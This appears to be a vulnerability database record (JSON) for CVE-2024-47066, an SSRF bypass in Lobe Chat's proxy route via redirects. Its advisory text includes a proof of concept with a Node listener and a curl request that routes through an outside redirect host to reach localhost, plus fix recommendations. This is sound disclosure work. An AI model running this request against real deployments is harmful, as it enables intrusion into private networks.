{"id":"CVE-2024-47066","aliases":["GHSA-3fc8-2r3f-8wrg"],"url":"https://o3.security/vulnerability/CVE-2024-47066","summary":"Lobe Chat has insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","details":"### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {'Content-Type': 'text/html'});\n  res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n    $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf","published":"2024-09-23T15:17:43.364Z","modified":"2026-09-20T03:45:24.342999875Z","cvss":{"score":9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":3,"affectedPackages":[{"ecosystem":"npm","name":"@lobehub/chat","fixedVersion":"1.19.13"}],"fix":{"url":"https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf","label":"lobehub/lobe-chat@e960a23"},"references":[{"type":"WEB","url":"https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/47xxx/CVE-2024-47066.json"},{"type":"ADVISORY","url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg"},{"type":"ADVISORY","url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47066"},{"type":"FIX","url":"https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"},{"type":"PACKAGE","url":"https://github.com/lobehub/lobe-chat"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T03:45:24.342999875Z"}}